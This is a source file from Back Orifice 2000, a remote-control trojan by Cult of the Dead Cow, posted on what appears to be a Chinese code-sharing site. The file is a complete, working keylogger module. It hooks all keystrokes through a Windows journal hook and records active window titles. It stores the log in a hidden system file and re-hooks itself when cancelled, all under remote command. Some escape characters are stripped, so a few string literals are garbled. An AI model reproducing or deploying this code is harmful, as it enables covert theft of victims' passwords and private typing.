cmd_keylogging.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:5k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<osversion.h>
  17. #include<functions.h>
  18. #include<auth.h>
  19. #include<iohandler.h>
  20. #include<encryption.h>
  21. #include<commandloop.h>
  22. #include<bocomreg.h>
  23. #include<dumppw.h>
  24. #include<cmdcmd_keylogging.h>
  25. #include<bo_debug.h>
  26. #include<main.h>
  27. BOOL g_bLogging=FALSE;
  28. HANDLE g_hCapFile=NULL;
  29. DWORD g_dwKeyCapTID=0;
  30. HANDLE g_hKeyCapThread=NULL;
  31. HHOOK g_hLogHook=NULL;
  32. HWND g_hLastFocus=NULL;
  33. LRESULT CALLBACK JournalLogProc(int code, WPARAM wParam, LPARAM lParam)
  34. {
  35. if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam);
  36. if(code==HC_ACTION) {
  37. EVENTMSG *pEvt=(EVENTMSG *)lParam;
  38. if(pEvt->message==WM_KEYDOWN) {
  39. DWORD dwCount,dwBytes;
  40. char svBuffer[256];
  41. int vKey,nScan;
  42. vKey=LOBYTE(pEvt->paramL);
  43. nScan=HIBYTE(pEvt->paramL);
  44. nScan<<=16;
  45. // Check to see if focus has changed
  46. HWND hFocus=GetActiveWindow();
  47. if(g_hLastFocus!=hFocus) {
  48. char svTitle[256];
  49. int nCount;
  50. nCount=GetWindowText(hFocus,svTitle,256);
  51. if(nCount>0) {
  52. char svBuffer[512];
  53. wsprintf(svBuffer,"rn-----[ %s ]-----rn",svTitle);
  54. WriteFile(g_hCapFile,svBuffer,lstrlen(svBuffer),&dwBytes,NULL);
  55. }
  56. g_hLastFocus=hFocus;
  57. }
  58. // Write out key
  59. dwCount=GetKeyNameText(nScan,svBuffer,256);
  60. if(dwCount) {
  61. if(vKey==VK_SPACE) {
  62. svBuffer[0]=' ';
  63. svBuffer[1]='';
  64. dwCount=1;
  65. }
  66. if(dwCount==1) {
  67. BYTE kbuf[256];
  68. WORD ch;
  69. int chcount;
  70. GetKeyboardState(kbuf);
  71. chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
  72. if(chcount>0) WriteFile(g_hCapFile,&ch,chcount,&dwBytes,NULL);
  73. } else {
  74. WriteFile(g_hCapFile,"[",1,&dwBytes,NULL);
  75. WriteFile(g_hCapFile,svBuffer,dwCount,&dwBytes,NULL);
  76. WriteFile(g_hCapFile,"]",1,&dwBytes,NULL);
  77. if(vKey==VK_RETURN) WriteFile(g_hCapFile,"rn",2,&dwBytes,NULL);
  78. }
  79. }
  80. }
  81. }
  82. return CallNextHookEx(g_hLogHook,code,wParam,lParam);
  83. }
  84. DWORD WINAPI KeyCapThread(LPVOID param)
  85. {
  86. MSG msg;
  87. BYTE keytbl[256];
  88. int i;
  89. for(i=0;i<256;i++) keytbl[i]=0;
  90. g_bLogging=TRUE;
  91. g_hLastFocus=NULL;
  92. g_hCapFile=CreateFile((char *)param,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,NULL);
  93. if(g_hCapFile==INVALID_HANDLE_VALUE) {
  94. return -1;
  95. }
  96. SetFilePointer(g_hCapFile,0,NULL,FILE_END);
  97. g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,g_module,0);
  98. if(g_hLogHook==NULL) {
  99. CloseHandle(g_hCapFile);
  100. g_hCapFile=NULL;
  101. return -1;
  102. }
  103. g_bLogging=TRUE;
  104. while(g_bLogging) {
  105. while(PeekMessage(&msg,NULL,0,0,PM_NOREMOVE)) {
  106. GetMessage(&msg,NULL,0,0);
  107. if(msg.message==WM_CANCELJOURNAL) {
  108. SetKeyboardState(keytbl);
  109. g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,g_module,0);
  110. if(g_hLogHook==NULL) {
  111. CloseHandle(g_hCapFile);
  112. g_hCapFile=NULL;
  113. return -1;
  114. }
  115. } else {
  116. DispatchMessage(&msg);
  117. }
  118. }
  119. Sleep(0);
  120. }
  121. UnhookWindowsHookEx(g_hLogHook);
  122. CloseHandle(g_hCapFile);
  123. g_hCapFile=NULL;
  124. g_hKeyCapThread=NULL;
  125. return 0;
  126. }
  127. int CmdProc_SysLogKeys(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  128. {
  129. if(g_bLogging==TRUE) {
  130. IssueAuthCommandReply(cas_from, comid, 0, "Logging is already turned on.n");
  131. return -1;
  132. }
  133. g_hKeyCapThread=CreateThread(NULL,0,KeyCapThread,(LPVOID)svArg2,0,&g_dwKeyCapTID);
  134. if(g_hKeyCapThread==NULL) {
  135. IssueAuthCommandReply(cas_from, comid, 0, "Error creating capture thread.n");
  136. return -1;
  137. }
  138. IssueAuthCommandReply(cas_from, comid, 0, "Key logging started.n");
  139. return 0;
  140. }
  141. int CmdProc_SysEndKeyLog(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  142. {
  143. if(g_bLogging==FALSE) {
  144. IssueAuthCommandReply(cas_from, comid, 0, "Logging is not turned on.n");
  145. return 0;
  146. }
  147. g_bLogging=FALSE;
  148. if(WaitForSingleObject(g_hKeyCapThread,5000)!=WAIT_OBJECT_0) {
  149. IssueAuthCommandReply(cas_from,comid,0,"Logging couldn't stop in 5 sec.n");
  150. return -1;
  151. }
  152. IssueAuthCommandReply(cas_from,comid,0,"Logging stopped successfully.n");
  153. return 0;
  154. }